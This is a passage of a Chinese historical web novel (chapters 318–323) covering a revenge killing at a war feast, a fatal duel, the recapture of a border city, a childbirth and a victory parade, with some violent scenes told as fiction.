再过几日,轩辕朗就要带兵一路高歌杀入瀚京。 今晚,是战前的誓师宴。 他要他的将士士气高涨,无人可挡! 第318章 岚舒,是个狠人 轩辕朗这场誓师宴办得很豪阔,所有人酒肉管够。 岚舒和卫凌泽也有一席之地。 两人都吃不惯越西厨子做的菜,看着还带着血和浓郁腥气的牛羊肉,只觉得倒胃。 不过岚舒很捧场,在轩辕朗说要踏破昭陵坐上龙椅时,配合地高举酒杯,帮着喊了两声加油助威。 卫凌泽看得直翻白眼。 但很快他就做不出什么表情了,因为轩辕朗揽着他的肩膀,把他带到了所有人面前:“诸位,这位卫小将军是我们最好的朋友,他把昭陵的地形图都画了下来,还把昭陵的兵法战术还有军中练兵的习惯全都说了出来,现在我们对昭陵人了如指掌,定然能战无不胜!” 不知是真的好心,还是为了羞辱卫凌泽,轩辕朗这番话是用昭陵语说的。 越西士兵只听懂了最后一句,齐声高呼:“战无不胜,战无不胜!” 声浪很大,震耳欲聋。 卫凌泽抿着唇,脸僵得像是木头,但轩辕朗没有放过他,让自己手下的副将挨个来跟他敬酒。 被逼喝下那些酒的时候,卫凌泽看到座位上的岚舒笑弯了眸,像是在回应他刚刚的白眼。 狗奴才! 卫凌泽在心里骂了一句,没一会儿,便被灌饱了肚子。 他摇摇晃晃回到座位坐下,轩辕朗又用越西话叽里咕噜说了半天,等轩辕朗说完,瑛王被带了上来。 瑛王不像岚舒这样狗腿,也没有岚舒掌握的情报多,更不像卫凌泽了解军中之事,除了一个亲王的身份,他对轩辕朗一点价值都没有,所以这些时日只能像狗一样被关在笼子里。 瑛王也染上了销魂香,但瘾发之时,并没有人给他销魂香,连每日的吃食也只有一碗清汤寡水的粥和又冷又硬的馒头。 短短时日,瑛王就从尊贵体面的王爷,变得蓬头垢面,如同乞丐。 看到轩辕朗,瑛王再无之前的傲气,跪下不住磕头哀求:“求求你,给我一点销魂香,我要难受死了,只要给我香,让我做什么都可以。” 越西将士都是知道瑛王的身份的,见他像狗一样毫无尊严地趴在地上,全都哄笑起来,好像昭陵皇室都如瑛王一样,跪在了他们脚下。 卫凌泽忍不住捏紧拳头,胸口怒火攒动,岚舒却和越西人一起大声地笑起来。 他笑得发自内心,看瑛王的眼神满是讥诮。 卫凌泽看得皱眉,下一刻,轩辕朗把自己的弯月佩刀丢到岚舒桌上:“按照我们越西的习俗,今晚是要杀个人祭拜神灵的,你们这个王爷太脏了,我不想脏了手,你来。” “是。” 岚舒站起身,右手贴在左肩,向轩辕朗行了个标准的越西礼节,而后拿着那把弯刀一步步走向瑛王。 月光和篝火之下,弯刀折射出寒芒,瑛王还没有察觉到危险,冲着岚舒道:“岚舒,快帮本王求求轩辕将军,只要他给本王香,本王愿意把王府所有的钱都给他。” 岚舒没有应声,毫不犹豫地挥手,砍在瑛王左肩。 剧痛袭来,瑛王终于恢复一点理智,听到越西人的哄笑声,看着岚舒面无表情的脸,瑛王这才意识到自己现在处在什么样的境地。 他害怕地捂住胳膊,大声嚷道:“岚舒,你别忘了,是本王救了你的命,要不是本王,你早就死了,你不能恩将仇报!” 岚舒举起刀,被刀身上殷红的血取悦,他勾了勾唇,笑容妖冶:“王爷对小人的恩情,小人这辈子都是忘不了的,要不是王爷看中我母亲的美貌,设下毒计逼我父亲举家离京,又派人追杀我全家,我哪有机会被王爷救下来?” 岚舒说完,对着瑛王又是一刀。 这一次是刀尖刺入的肩胛骨,瑛王痛得一边惨叫,一边否认:“没有,本王没有做这样的事,一定是你弄错了!” 岚舒拔了刀,有血溅到脸上,他的表情越发愉悦,他没有理会瑛王说什么,又一刀砍在瑛王腿上。 “王爷救了小人,把小人养在身边,给了小人锦衣玉食的生活,然后哄着小人陪王爷睡觉,后来又以帮小人报仇为饵,让小人去无忧阁做男妓,这一桩桩一件件的事,小人也都记着呢。” 要不是去到无忧阁,靠着无忧阁的关系,他只怕到现在都还被蒙在鼓里,把这个杀自己全家的凶手当成恩人敬着供着。 连中三刀,瑛王是真的怕了岚舒,终于不再狡辩,哭着求饶:“本王错了,本王对不起你,只要你不杀我,本王什么都可以给你。” 呵…… 岚舒冷笑。 从大半年前知道真相开始,他就在想要让瑛王怎么死才好。 直接一刀捅死实在是太便宜瑛王了,而且瑛王身边的守卫众多,杀了瑛王,他也得死,这不值得。 销魂香的出现给他打开了思路。 他原本想透露线索,让卫凌泽或者太子除掉瑛王,没想到最终落到了轩辕朗手上,还让他有了亲手杀掉瑛王的机会。 这简直是太好了。 “王爷能给我什么呢?” 岚舒问着,手起刀落,一刀砍断瑛王的左腿。 他的人生早在十多年前就被瑛王毁了,这具身子也被瑛王玩得破烂不堪,他整个人烂透了,除了杀了瑛王能让他痛快一点,其他任何都弥补不了。 “本王膝下还没有孩子,可以收你做义子,到时把爵位和钱全都给你……” 瑛王急急开口,把能想到的都许诺出来,岚舒被恶心到,笑得更大声。 瑛王杀了他全家,还装作救命恩人肆意地践踏凌辱他,最后还要收他做义子让他认贼作父,这实在是太可笑了。 “王爷,这些话留着去跟阎王说吧。” “不要……” 瑛王瞪大眼睛,惶恐极了,然而下一刻,他的声音戛然而止,岚舒直接抬手砍了他的脑袋。 围观的越西将士爆发出欢呼,他们不知道岚舒跟瑛王说了什么,只觉得这两个昭陵人自相残杀的戏码实在是太精彩了。 轩辕朗让人把瑛王的尸首挂到了城楼之上,誓师宴的气氛来到最高潮。 岚舒回到自己的座位,安安静静地拿起酒坛子仔细地洗掉自己手上和脸上的脏污。 卫凌泽之前很瞧不上岚舒,看到瑛王是如何被杀死的之后,看岚舒的眼神就变了。 岚舒,是个狠人。 誓师宴持续到凌晨才散,所有人酒足饭饱,满意睡去,然而第二天一大早,就被牛角声唤醒。 翁州的护城河,断流了。 第319章 再比一次 护城河断流了。 亲眼看到裸露在外的河床,轩辕朗才相信这件事是真的。 他第一时间将所有副将召集到一起,决定将宣战的时间提前,但反对的声音很多。 目前翁州只有三万兵马,大批兵马和粮草都还在路上,至少要七八日后才能抵达,而翁州的秋收还没开始,这个时候举兵进犯,很容易因为粮草拖后腿,万一他们首战失利,也会对士气带来巨大的打击。 轩辕朗自然也明白这个道理,但护城河突然断流了,城中马上就会进入缺水的状态,若是昭陵人已经察觉他们的阴谋,调兵前来围城,情况就对他们太不利了。 一番争执后,轩辕朗还是做出了让步。 他抽调了五十精锐,分成两个小队,一队顺着护城河去上游查看情况,一队出城催促大军和粮草加快速度赶来。 很快,两支小队分别出发。 顺着护城河往上查看的小队出城没多久,就遭遇了伏击。 这二十五人个个经验丰富,身手高强,能够以一当十的,伏击他们的人数量虽多,但这些人并未落入下风。 领头的杀出重围,想要回城报信,刚翻身上马,就被一箭射中后脑勺没了声息。 萧夜辰收了弓弩,从地上踢了一把弯刀加入伏击,半炷香后,二十五名越西精锐成了躺在地上的尸体。 萧夜辰扔了刀,面不改色地把金疮药撒在伤口,而后撕下衣摆缠住腰间伤口,旁边的人看得倒吸了一口冷气。 这人参军不过两三个月,已经爬到了千户的位置,每次出任务数他最积极,也数他最不要命。 这战功好是好,但也得有命回去享用才行啊。 万一真死在战场上,去哪儿封侯拜相? 萧夜辰没有理会其他人的目光,朝着翁州城的方向看了一眼。 护城河已被切断,镇国公也已带着五万兵马赶到,只要岚舒和卫凌泽能想办法打开城门,这场大战就能很快结束。 ** 护城河断流了,城中的水源都是优先供给越西士兵用的,百姓们则被逼着提前进行秋收,忙碌一整日,连口粥都喝不上,加上香瘾发作,一天下来,已经发生了好几次冲突。 虽然都被越西士兵暴力镇压下去,但紧张的气氛还是飞快地蔓延开来。 所有人都意识到,一场大战就要到来了。 派去上游查探情况的精锐一直没有送回消息,轩辕朗敏锐地嗅到了危险。 也许昭陵人真的已经察觉了一切,所以故意断水准备围城。 这个时候他若带兵撤离,还能全身而退,再拖两日,就危险了。 可为了这场大战,他筹谋了很久,这个时候撤,未免太怂了,回去之后也没办法向王上和手底的将士交代。 而且这次之后,昭陵人必然会有所防备,要想再找到这么好的机会就难了。 轩辕朗难得纠结,他一时拿不定主意,索性找到卫凌泽,要跟卫凌泽再比试一次。 不等卫凌泽开口,岚舒抢先道:“将军英勇盖世,卫大公子不是早就败了吗,如今他又染了销魂香,哪里比得过将军?” “闭嘴,你不说话没人把你当哑巴!” 卫凌泽白了岚舒一眼,而后对轩辕朗说:“这销魂香虽然会让人上瘾变成废人,但也有让人振奋的作用,用了它,我未必会输,你当真要当着这么多部下的面跟我打,若是你输了,以后在军中可就难以服众了。” 和上次冬猎的情况相反,现在输不起的人是轩辕朗。 不过轩辕朗如今并不把卫凌泽放在眼里,他勾唇笑道:“无妨,我允你用销魂香,不管多少都可以。” 他不担心会输,他只是想看看,卫凌泽能撑到什么地步。 两人很快来到演武场上,很快,便有士兵被吸引过来。 卫凌泽还在挑选兵器,岚舒就打起退堂鼓:“卫公子,我劝你还是认输吧,你打不过轩辕将军的。” “滚!” 卫凌泽毫不犹豫地吼了一声,岚舒摸摸鼻尖,退到角落。 越西将士多用弯刀和锤子,没有卫凌泽擅长的剑,最终他挑了一把弯刀。 为了显示公平,轩辕朗也选了弯刀。 比试之前,卫凌泽用了销魂香。 熟悉的香味入体,浑身的毛孔全都舒展开来,卫凌泽的眸子也变得明亮有神。 他挺直背脊,缓步走向轩辕朗,围观的越西士兵忍不住齐声高呼,为轩辕朗助威。 卫凌泽充耳不闻,率先发起进攻。 在销魂香的作用下,他的速度快了不少,但这一击还是被轩辕朗轻松接住。 两把弯刀相击,有细碎的火花迸溅开来,照亮卫凌泽眸底腾腾的杀气。 轩辕朗并不畏惧,用力震开卫凌泽,同时点评:“销魂香虽然短暂地提升了你的速度,但你的力气远不如当年,听说你瘫了三年,这三年你不会被打击到一直瘫在床上做个废物吧?” 最后一句话很明显带了嘲讽,卫凌泽却没有像之前那样暴怒,而是咬着牙分析起来。 轩辕朗说得对,他的力气已经远不如从前,要想取胜,只能靠巧劲儿和速度。 脑子里这么想着,身体已再次发动攻击,卫凌泽改变了方法,他不再跟轩辕朗正面缠斗,而是尝试各种刁钻的角度,来找轩辕朗的破绽。 轩辕朗这三年从未颓废,反而不断在军中找人对练提升自己,很快,卫凌泽胳膊就中了一刀,还被轩辕朗当胸踹了一脚。 “咳咳咳!” 卫凌泽被踹飞好远,但落地之后,他滚身卸力,借着弯刀支撑,飞快地又站了起来。 唇角有血溢出,卫凌泽吐出一口血沫,勾唇笑道:“再来!” 轩辕朗眸底闪过诧异,对卫凌泽的轻视少了些。 现在的卫凌泽实力虽然远不如当年,身上却又有了当年那股子冲劲儿。 为了销魂香,他都把昭陵军中的消息出卖完了,不是应该彻底废掉了吗,怎么还能爆发出这样的意志? 轩辕朗觉得有什么地方不对劲,但卫凌泽没给他细想的时间,再次提着刀冲过来。 与此同时,城门方向,火光大亮。 无数百姓用自己的血肉之躯扑向那些守城士兵…… 第320章 卫凌泽死了 卫凌泽确实打不过轩辕朗。 哪怕他在销魂香的作用下,提升了速度,并且迸发出了不输当年的意志力,也还是打不过。 又是七八个回合后,轩辕朗手中弯刀飞旋,割破了他的大腿。 伤口很深,血立刻就喷薄而出,剧痛袭来,卫凌泽不受控制地单膝跪地。 这条腿应该是废了。 不过和被他弄得烂透了的人生比起来,废掉一条腿似乎也不算什么。 卫凌泽没有管腿上的伤,撑着弯刀还要站起来。 轩辕朗见状眉头皱得更紧,他刚想说些什么,耳边突然传来急促的声音:“将军,不好了,那些昭陵人疯了!” 那人用的是越西语,卫凌泽听不太懂,但从对方急匆匆的脚步和焦急的语气还是能够判断出,他和岚舒的计划成功了。 城门这会儿应该已经开了,昭陵的大军即将入城。 轩辕朗输了。 这般想着,卫凌泽感觉身体的疼痛都消失了,他拼尽全身的力气,以最快的速度袭向轩辕朗。 因为分神,这一次轩辕朗没能躲开,被他砍中左臂。 只可惜,轩辕朗的骨头太硬,而他现在的力量太弱,没能再断轩辕朗一臂。 围观的越西将士发出惊呼,轩辕朗皱着眉,毫不犹豫地挥刀。 刚刚那一击已经耗尽了卫凌泽全部的力气,而且这样近的距离,他也躲不开了。 很快,卫凌泽感觉到脖子一痛,无数的血喷薄而出。 身体在飞快地失重倒地,时间却变得很慢很慢。 慢到他变成一个旁观者,把自己的一生又仔仔细细看了一遍。 他出生在瀚京的百年世家,他的同窗玩伴都是名门子弟,更有家世才貌都极其出众的青梅竹马,他的人生最不缺的就是赞美和艳羡。 直到年少成名的那场大战改变了他的人生轨迹。 那一战让他的名字家喻户晓,人人都在夸赞他的骁勇善战,而他却被困在方寸之间,连下床都不能。 那些赞誉不能帮他减轻身体上的痛苦,更不能让他站起来。 在日复一日的失望之后,他忘了自己曾经拥有的美好,开始怨恨一切。 哪怕后来伤好,那些怨恨也深深地根植在他心里。 他变得偏执暴戾,除了自己,谁都不放在眼里。 他想通过拿捏春喜来满足自己的掌控欲,也想通过折辱禾儿来弥补那三年的伤痛,他急功近利,不择手段地往上爬,想要重获原本属于自己的荣光,却一步步地踏入无尽深渊。 后来,他染上销魂香,成了人不人鬼不鬼的怪物。 他虽然并没有参与到这场阴谋之中,帮着卖香害人,但也彻底成了卫家的污点。 比起后半生一直承受着瘾发的痛苦,被人指指点点苟活下去,死在轩辕朗手里,是他能想到最好的结局。 至少,在生命的最后一刻,他还像个男人。 至少,陛下能看在他及时悔悟的份上,不会迁怒卫家。 只是可惜,他再也没有机会弥补给禾儿造成的伤害。 也不知听到他的死讯,禾儿会不会有那么一点难过…… 身体重重倒地,最后落在卫凌泽眼中的,是一片璀璨的星河。 这片土地总是在经历战火洗礼,人们有着各种各样的痛苦悲伤,头顶的苍穹却始终静谧美好。 轩辕朗并不在意卫凌泽死前在想什么,他迅速下达命令,一边准备迎战,一边撤离。 昭陵人来得比他想象中的快,这一次计划已经宣告失败,他没有时间懊恼后悔,只能尽可能的保存实力再找机会。 所有人在收到命令后都迅速行动起来,轩辕朗在脑子里推演着可能的结果,突然意识到不对劲,他环视一周,冷冷地问:“那个叫岚舒的人呢?” 所有人都是一脸茫然。 这个叫岚舒的昭陵人似乎不会武功,又很狗腿,根本不能构成什么威胁,并没有人把他放在眼里,这会儿出了事,就更没有人在意他了。 轩辕朗咬牙,召来七八名精锐吩咐:“找到岚舒带给我,我要亲自剐了他!” “是!” ** 这些越西士兵太过凶残,翁州百姓拼了命也只打开了一扇城门。 城门口,是堆得高高的百姓尸体,血腥味在空气中浓得散不开。 萧夜辰第一时间带人杀进城来。 他们身上背了不少辣椒粉,进城之后一通撒,顿时惨叫声四起。 很快,城门大开,更多兵马涌入,一场厮杀正式拉开帷幕。 用同样的方法,萧夜辰又带人打开了两道侧门。 他并未停歇,立刻带人在城中搜索起轩辕朗的身影来。 今日攻城的结果已经没什么悬念,他的目标是找到轩辕朗。 要么生擒,要么取其首级。 然而萧夜辰在城中找了很久,都没能发现轩辕朗的踪迹。 他正觉得有些烦躁,耳边突然传来一声怒喝,对方用的是越西话,萧夜辰不明其意,身体却已形成惯性,朝着声音发出的方向冲去。 正是深夜,到处都是黑漆漆的,旁边街上,一个越西人正在追杀几名女子。 萧夜辰及时赶到,不过片刻,便将那人斩于马下。 几名女子立刻跪在地上磕头谢恩,萧夜辰沉沉开口:“镇国将军正在带兵攻城,明日应该就安全了,你们先找个地方躲起来,莫要在城中到处闲逛。” 几人连连应是,萧夜辰调转马头准备继续找人,不过片刻,他又回过头来,直勾勾地盯着其中一名女子喝道:“岚舒,站住!” 那“女子”步子一顿,而后转过身,嗔怪道:“奴家都打扮成这样了,阁主你怎么还认得出奴家?” 萧夜辰骑着马来到岚舒面前,眼神冷锐:“带我去找轩辕朗。” “阁主,你这真是太为难奴家了,这大军都攻城了,轩辕将军自然是在众人保护之下早早撤离了,奴家哪里去哪儿找他呀。” 萧夜辰没跟岚舒废话,拔剑指着他:“你只有两条路,要么带我去找他,要么我现在就杀了你。” 这些日子萧夜辰不知道杀了多少人,身上煞气极重,如同阎罗,丝毫没有跟岚舒开玩笑的意思。 岚舒叹了口气,弯眸道:“其实不用去找,我有办法引他来。” 第321章 胜负已定 翁州与越西交界,不仅有战火侵袭,还有时常有沙尘袭来,所以城中建了一座高台,台上有一口大钟,一旦敲响,便能警醒城中百姓及时应对。 萧夜辰召集了几十名士兵和岚舒一起来到高台上,在四周燃起火把,把高台照得亮亮的。 岚舒恢复男子打扮,还从州府里寻摸了一把古琴出来,坐下开始抚琴。 他没了一根小拇指,但琴技依旧精湛,经过高台四周陶翁的放大作用,琴音在夜色中涤荡开来。 这琴音有些奇怪,萧夜辰之前从来没有听过,而正在厮杀的越西士兵听到琴音之后皆是变了脸色。 这是越西的摇篮曲,大意是让贪玩的孩子早点回家,家里的亲人已经准备好美味的饭菜在等他们。 轩辕朗并没有急着撤离,正安排人手把一箱又一箱的销魂香搬出来准备点燃。 筹谋许久,虽然计划被昭陵人提前看破,但他不能就这样灰溜溜地离开,这些销魂香是他准备的后手。 等昭陵大军全部涌入城中,这些销魂香会让他们完全沉迷其中,丧失理智,到时他假装撤退,等这些香燃完再杀个回马枪,说不定还能反败为胜。 这般想着,轩辕朗唇角微勾,这时却有靡靡的琴音传入耳中。 什么人竟然在这个时候弹这种曲子,这不是动摇军心吗? 轩辕朗面色一沉,很快有人来报:“将军,是那个叫岚舒的人在弹奏曲子,他身边有高手保护,已经杀了好几个我们的人了。” 又是岚舒! 轩辕朗的拳头捏得咯咯作响。 他自认不是一个自负的人,但岚舒表现得实在是太没骨气了,哪怕是当着他的面杀了瑛王,他也只觉得岚舒是个卑鄙小人,根本没有把岚舒放在眼里。 像岚舒这样的人,心里根本不会有什么家国大义,如今城门大开,岚舒应该想着逃跑活命才对。 可岚舒现在不仅没跑,还大摇大摆地在高台上弹起越西的摇篮曲,这简直是对他的挑衅和侮辱! “我不管你们用什么办法,给我杀了他!” “是!” 随着琴音拨动,越来越多的越西士兵不要命地朝高台杀来。 高台之下,渐渐有尸体堆积。 不仅有越西士兵,也有昭陵士兵。 不知不觉,岚舒和萧夜辰身边的人越来越少。 萧夜辰身上的甲衣早已被血浸透,身上也添了新伤。 岚舒忍不住开口:“这场战事的大局基本已经定下,还有必要牺牲这么多人的性命去抓轩辕朗吗?” “闭嘴,专心弹你的琴!” 萧夜辰冷声呵斥,撕下衣摆缠住胳膊上的伤。 他脸上也有了一道口子,伤口挺深的,血肉翻飞,瞧着就狰狞可怖。 岚舒忍不住嘴贱:“阁主脸上这伤定然是要留疤的,你就不怕回去之后吓到大小姐?” 这话触了萧夜辰的逆鳞,萧夜辰周身的气势陡然变化,威压逼人,与此同时,破空之声传来,一支利箭以势不可当之势朝着岚舒射来。 感知到危险,岚舒手一抖,挑断了一根琴弦。 琴弦发出一声嗡鸣,如同悲凉的呜咽。 然而那箭却没有射穿岚舒的脑袋,而是被萧夜辰一脚踢飞,生生改变了方向。 这箭挟裹着千钧之力,很明显是轩辕朗亲自来了。 萧夜辰挡在岚舒面前,冷声命令:“继续弹,只要我没死,你就不会死。” 这话说得还怪让人感动的。 岚舒挑了下眉,不顾正在流血的指尖,继续拨弄琴弦。 轩辕朗是带着几十名精锐来的。 他已猜到是岚舒和卫凌泽暗中煽动城中百姓打开城门和昭陵大军里应外合的。 这场大战还胜负未定,轩辕朗绝不允许岚舒在这儿挑衅、动摇军心。 这个人必须死! 轩辕朗那一箭之后,几十名精锐一起袭向高台,然而他们刚刚靠近高台,无数支利箭破空而来。 除了萧夜辰带上高台的士兵,附近屋顶还埋伏了不少人。 轩辕朗带来的虽然都是精锐,但在乱箭之下,还是难以抵挡。 这是个明晃晃的陷阱,以岚舒为饵,诱轩辕朗和越西士兵来送死。 昭陵人就是卑鄙! 轩辕朗咬牙,高台之上,却传出了岚舒的歌声。 岚舒不仅弹了越西的摇篮曲,还用越西话唱了起来。 他的发音很标准,音色也不错,这首曲子从他嘴里唱出来还真挺有安抚人心的力量的,但落在轩辕朗耳中却是极大的讽刺! 轩辕朗眸子一沉,施展轻功飞快地朝高台掠去,底下的越西精锐立刻默契配合,用自己的身体给轩辕朗做梯,将轩辕朗送上高台。 萧夜辰身边的人也都身手不俗,他们一拥而上想要阻拦,却都被轩辕朗抹了脖子。 没了阻挡,轩辕朗立刻袭向岚舒。 乌云遮月,被血浸染的弯刀折射出周围火把的亮光,带着无尽的杀气来到岚舒眼前,岚舒唱着歌,抚着琴,连眼睛都没眨一下。 萧夜辰拦下轩辕朗这一击,将轩辕朗逼退,沉沉开口:“你的对手,是我。” 话落,萧夜辰飞快出剑,和轩辕朗缠斗在一起。 萧夜辰身上有伤,穿的还是千户的甲衣,轩辕朗看出他在军中职位不高,并未把他放在眼里,然而交手之后却发现他出招狠辣,极为难缠,立刻凝神对待,同时忍不住在心中骂娘。 之前冬猎,卫凌泽不堪大用,却冒出个沈清渊,如今又不知从哪儿冒出这么个人,昭陵当真如此的人才济济吗? 两人打得正难分高下,沉闷的雷声突然从远处传来。 轩辕朗心头一沉。 要下雨了,难道连老天都不站在他这边? 轩辕朗分了下神,萧夜辰敏锐地抓住时机,一剑刺来,轩辕朗及时敛神躲避,却还是被刺穿左肩。 萧夜辰没给轩辕朗反应的机会,手腕飞快地一拧,剑身在轩辕朗左肩搅动。 剧痛袭来,轩辕朗挥刀斩断萧夜辰手里的剑,抬脚将他踹开,而后一个飞扑袭向岚舒。 铮! 古琴被拦腰斩断,琴弦全部绷断,琴音和岚舒的歌声戛然而止。 与此同时,萧夜辰跃起,抄起地上的一把剑刺入轩辕朗胸膛…… 第322章 夫人,我回来了 春喜是在夜里发动的。 足月以后,身子越发地沉了,入睡也有些困难,而且沈清渊已经半个多月没来信了,春喜免不了担心。 今晚她辗转好久才终于睡过去,没多久,就被腹痛唤醒。 最近出现过几次腹痛的现象,但都很快过去,春喜熟练地吸气吐气,准备等腹痛过去再接着睡,没想到腹痛一阵接一阵,越发频繁起来,不多时,春喜感觉到一阵暖流。 她意识到自己可能要生了,立刻喊人。 李嬷嬷和章嬷嬷前几日就搬到外间守着春喜,听到声音立刻点了灯进来查看情况。 “夫人这是要生了,有我们陪着夫人呢,夫人别怕。” 李嬷嬷宽慰了一句,有条不紊地安排起来。 很快,整个沈府都灯火通明起来。 厨房烧了热水熬了参汤,阿鲤去回春堂请了大夫来候着。 李嬷嬷和章嬷嬷一直守在春喜身边。 春喜发动得有些慢,一直痛到天亮,也还没达到该用力的时候。 厨房准备了吃食,李嬷嬷边喂边给她擦汗:“这生孩子有的人快,有的人慢,夫人年轻,平日身体又好,肯定是没有问题的,这会儿还没到用力的时候,夫人尽可能多吃一点儿,一会儿才有力气。” 春喜身上的衣服都已被汗水湿透,她忍着疼点头道:“嬷嬷说的是,我都听嬷嬷的。” 吃过饭,阵痛来得更猛烈了些。 春喜咬着牙一声没吭。 难怪恒阳公主要骂驸马,她要是像公主那样从小娇贵到大,受了这疼她也得骂人。 春喜其实也挺怕疼的。 小时候磕着碰着一点儿,哪怕曹父回来的时候痂都已经掉了,也要扑进曹父的怀里痛痛快快地哭上一场。 后来曹父走了,她被卖进卫家为奴,知道没人再宠着自己,渐渐地就不爱哭了。 不过现在有大人疼她了。 以后她的女儿要是受了委屈,随时都能回家来哭。 想到沈清渊,春喜又忍不住担忧起来。 之前沈清渊来信都很准时,这一次已经半个月没来信了,也不知道是不是遇到了什么危险。 要是她没有怀孕,一定陪着大人一起去。 万一要是有点儿什么意外,至少互相有个照应,就算真到了生死关头,好歹还能见到最后一面,不至于抱憾而终。 春喜想得有点入神,肚子的痛意再度加强,像是腹中孩子在抗议她胡思乱想。 春喜连忙收敛思绪,认真听李嬷嬷的话。 好孩子,娘是在担心你爹,不是咒他出事,你可快点儿出来吧,别折腾娘了好不好? 春喜在心里跟孩子打着商量,李嬷嬷一个劲儿地鼓励:“对,就是这样,夫人做得很好,我瞧着夫人再过一会儿就能生了,要是肚子不疼夫人就休息一下,别把力气都用完了。” 李嬷嬷说完,章嬷嬷也跟着夸:“夫人不哭不闹,让怎么使力就怎么使力,我活了这么多年,头一回见到夫人这么厉害的呢。” 春喜被夸得嘴角上扬,正要说话,房门突然被推开,下一刻,沈清渊风尘仆仆地走进来。 “大人,你怎么突然回来了?” “哪有男子进产房的,大人你再急也得在外面等才行啊。” 李嬷嬷和章嬷嬷在震惊之后便要把沈清渊赶出去,沈清渊充耳不闻,径直来到春喜面前。 春喜眨眨眼,仍是不敢置信,怀疑自己痛得出现了幻觉。 大人怎么突然就出现了? 正想着,沈清渊握住了她的手:“夫人,我回来了,你受苦了,别怕,我在这里守着你和孩子。” 沈清渊的掌心滚烫,且很有力量,他用力抓着春喜的手,让她真切感受到他的存在。 刚刚春喜一个人还能扛,这会儿确定沈清渊真的回来了,泪水便不受控制地涌了上来。 莫名的有点委屈。 这时阵痛又袭来,春喜怕开口会哭出来,回握住沈清渊的手,在李嬷嬷的指挥下咬牙用力。 不知过了多久,婴孩儿的啼哭声终于响彻房间。 春喜感觉整个人都松快了下来。 终于……生了。 眼泪不受控制地滚落,沈清渊帮春喜擦了泪,又亲了亲她的额头,哑声道:“恭喜夫人,你做娘了。” “同喜同喜,夫君也做爹了。” 春喜下意识地回答,整个人轻松下来,才有精力好好观察沈清渊。 不知赶了多久的路,沈清渊这会儿胡子拉碴,面容憔悴,像是一下子苍老了好多岁。 春喜忍不住调侃:“夫君,这才多久不见,你怎么老了这么多?” 沈清渊失笑:“我没老,只是为了尽早赶回夫人身边,昼夜不停地赶了四天四夜的路,免不了有些沧桑。” 春喜想摸摸沈清渊的脸,却抬不起手,只能轻轻挠挠他的掌心,低声道:“夫君也辛苦了。” 沈清渊抓起春喜的手亲了亲:“不辛苦,能赶回来陪着夫人,一切都是值得的。” 李嬷嬷迅速把孩子擦干净包好交给沈清渊和春喜,春喜看了一会儿孩子便沉沉地睡了过去。 这一觉春喜睡了很久,再醒来时,屋里亮着烛火,但很安静,一点儿声音都没有。 她睡得有点儿懵,摸了摸肚子,才确定自己真的生了个孩子。 大人呢? 也是真的回来了吗? 这个念头刚冒出来,春喜听到了耳边轻浅的呼吸声。 偏头,沈清渊就睡在她旁边。 他洗了澡,换了衣裳,还刮了胡子,虽然脸色还有些憔悴,但没了刚回来时的沧桑狼狈。 春喜的心一下子充盈起来,她勾了勾唇,没有说话,只挪了挪身子,离沈清渊更近些。 恒阳公主还没出月子,得知春喜生了,立刻派人送了很多补品来。 萧清禾和萧清月都在第一时间来探望。 “祖母本来也想一起来的,但她前两日不小心染了风寒,怕过了病气给你和孩子,所以没来。” 萧清禾刚说完,萧清月便迫不及待道:“祖母才不是受了风寒,而是被阿姐气到了,前几日有人来提亲,想求娶阿姐,阿姐却直接把人拒了,还说以后都不嫁人了。” “月儿,别胡说!” 萧清禾蹙眉呵斥,春喜挑眉,脑海里浮现出萧夜辰的脸。 这都有人登门提亲了,阁主再不回来,岂不是要被人捷足先登? 第323章 凯旋 翁州城破轩辕朗被直取首级越西三万敌军折损近半剩下半数成了俘虏越西王室第一时间求和愿用任何条件赎回战俘。 镇国公要销魂香的解药越西王室却是束手无策。 这忘忧草长在越西越西王室一度也深受其害新王即位后命人将忘忧草列为剧毒之物任何人看到都要第一时间铲除。 销魂香确实无解。 消息传回陛下龙颜大怒最终取消与越西互通商贸之事又把轩辕朗用剩的销魂香全都用在了那些越西战俘身上然后才把人全部放回越西。 事情到此结束十月初镇国公带兵凯旋归京。 城中百姓听闻消息自发地走出家门夹道欢迎。 春喜和恒阳公主都出了月子也邀上萧清禾一起出去看热闹。 春喜提前在茶楼包了临街二楼的包厢视野极好。 听着楼下百姓的议论夸赞恒阳公主高兴道:“虽然这销魂香无解但咱们之前总结的那些抵抗瘾发的法子很是有效加上太医院的药方可以很大程度地减轻那些染上销魂香的人的痛苦 春喜和萧清禾一起谢了恩这时人群喧闹起来三人都敛了神朝窗外望去。 人头攒动的长街尽头镇国公带着整齐划一的将士们出现在众人眼前。 镇国公年近五十已是鬓发斑白穿上战甲却还是威风凛凛他一出现众人就齐声高呼起来。 紧跟在镇国公后面的是他的几名副将几人皆是身形魁梧像是佛殿里供奉的罗汉。 几名副将之后是一位身着银色铠甲的小将。 那人的身形不像前面几名副将那样魁梧却是肩背挺阔仪表不凡瞧着也很年轻。 人群中有姑娘见了忍不住心生向往大着胆子朝他投掷香囊。 有一个人这样做了其他人也都跟着这样做然而那小将却无动于衷不仅不肯收下香囊反而拔剑挽了剑花将这些香囊无情挡开。 跟在他身边的人忍不住调笑:“萧千户这可是姑娘家的一番好意你这样做未免也太不怜香惜玉了你总不会是喜欢我们这群大老爷们儿不喜欢香香软软的姑娘吧。” 这话一出众人都笑出声来。 包厢里恒阳公主也啧啧道:“这个小将挺有意思的竟然一个香囊都不收诶他不会是有心上人了吧而且本公主总感觉好像在哪里见过他。” 春喜和萧清禾都 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 已经认出了萧夜辰。 太傅府出事后,无忧阁突然就闭门不待客了,萧夜辰和岚舒也不见了踪影,春喜还以为两人出了什么事,没想到萧夜辰竟然去参了军,看他这样,应该是立功了吧。 正想着,镇国公带着众人来到了茶楼之下,萧夜辰抬头,笔直地朝二楼包厢看了过来。 今日阳光正好,这样近的距离,萧夜辰一抬头,脸上的疤就露了出来。 疤痕瞧着有些狰狞,但他的眼神却极其的温柔。 萧清禾捏紧绢帕,心脏像是被什么攥紧,片刻后却还是勾唇露出一抹笑容。 她今日,和楼下的百姓一样,是来欢迎这些将士凯旋回家的。 好久没见面,萧夜辰实在没忍住,抬头看了萧清禾一眼。 众目睽睽之下,隔着这样远的距离,大小姐身边还有恒阳公主和沈夫人陪着,他看这一眼,算不得冒犯。 但他没想到大小姐会对着他笑。 萧夜辰明显怔住,片刻后,唇角控制不住的上扬,也露出笑来。 才从战场上下来,他身上的杀伐之气很重,不笑的时候更是有些吓人,这会儿笑起来顿时冰雪消融,好莫名有点儿傻。 